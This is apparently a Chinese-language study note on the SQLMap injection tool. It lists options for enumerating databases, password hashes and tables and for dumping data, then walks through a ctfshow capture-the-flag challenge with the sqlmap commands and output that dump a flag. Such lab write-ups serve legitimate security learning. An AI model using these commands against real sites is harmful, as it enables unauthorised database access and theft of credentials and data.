跳到主要内容

SQLMap 工具的使用

ref: 用法 | sqlmap 用户手册

参数

指定目标

  • -u指定目标 url,如http(s)://targeturl[:port]/[...]
  • -r指定原始 HTTP 请求

优化

  • --predict-output可以对数据进行分析预测,不可以与多线程一起使用
  • --keep-alive可以使用持久化连接,不可以与代理一起使用
  • --null-connection让 SQLMap 使用 NULL 连接技术,缩短时间,减小带宽
  • --threads多线程,后面指定数字(最大为 10)

指纹识别

--fingerprint进行更广泛的指纹识别。

枚举与暴力破解

  • --users枚举用户列表
  • --passwords枚举用户密码哈希和破解密码明文
  • --dbs列出所有数据库
  • --tables列出数据表
  • --columns列出列名
  • --dump导出数据表条目
  • --sql-query运行任意的 SQL 语句

枚举的时候可以指定这些参数:

  • -D指定数据库名
  • -T指定数据表名
  • -C指定列名(用逗号分隔)
  • --start --stop指定导出条目的范围

有关暴力破解的参数:

  • --common-tables暴力破解表名
  • --common-columns暴力破解列名

其他选项

  • -t指定一个文件地址,用于写入 sqlmap 产生的所有流量信息
  • --eta预估完成时间

实战

这一题的环境是一个文章列表,点进去具体的文章页面的链接是index.php?id=2,我试着用 Burp 抓到 sqlmap 试一试。

python sqlmap.py -o -r request.txt --level=4 --tamper="space2comment.py" -tables
...
Database: web7
[3 tables]
+----------------------------------------------------+
| page |
| user |
| flag |
+----------------------------------------------------+

看到web7下面有flag,可以将其直接dump出来。

python sqlmap.py -o -r request.txt --level=4 --tamper="space2comment.py" -dump -D web7 -T flag

[1 entry]
+-----------------------------------------------+
| flag |
+-----------------------------------------------+
| ctfshow{311e669c-c978-4f71-af2b-ea7f3be92a93} |
+-----------------------------------------------+

这道题就出来了。